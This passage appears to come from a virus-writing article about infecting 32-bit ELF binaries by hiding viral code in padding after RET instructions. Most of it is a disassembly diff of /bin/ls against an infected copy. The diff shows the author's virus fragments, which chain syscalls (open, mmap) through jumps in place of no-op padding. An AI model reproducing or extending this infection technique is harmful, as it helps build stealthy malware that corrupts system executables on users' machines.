which are located after the RET (0xC3) instruction. The search routine was changed (the section name is .text not .data) and I had returned to the pointers again. No more changes. Let's see how the infected file been changed: < /bin/ls: file format elf32-i386 --- > ./ls: file format elf32-i386 4593,4594c4593,4598 < 804d9c2: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi < 804d9c9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi --- > 804d9c2: 60 pusha > 804d9c3: 95 xchg %eax,%ebp > 804d9c4: 8b 5c 24 24 mov 0x24(%esp),%ebx > 804d9c8: b0 05 mov $0x5,%al > 804d9ca: e9 93 83 00 00 jmp 8055d62 > 804d9cf: 90 nop 10307,10308c10311,10315 < 8052aa2: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi < 8052aa9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi --- > 8052aa2: b0 5a mov $0x5a,%al > 8052aa4: cd 80 int $0x80 > 8052aa6: ff e0 jmp *%eax > 8052aa8: 00 8d bc 27 00 00 add %cl,0x27bc(%ebp) > 8052aae: 00 00 add %al,(%eax) 10345,10346c10352,10359 < 8052b02: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi < 8052b09: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi --- > 8052b02: 51 push %ecx > 8052b03: 6a 04 push $0x4 > 8052b05: 51 push %ecx > 8052b06: 49 dec %ecx > 8052b07: 51 push %ecx > 8052b08: 89 e3 mov %esp,%ebx > 8052b0a: e9 93 ff ff ff jmp 8052aa2 > 8052b0f: 90 nop 14508,14509c14521,14525 < 8055d62: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi < 8055d69: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi --- > 8055d62: cd 80 int $0x80 > 8055d64: 68 00 60 01 00 push $0x16000 > 8055d69: 50 push %eax > 8055d6a: 41 inc %ecx > 8055d6b: e9 92 cd ff ff jmp 8052b02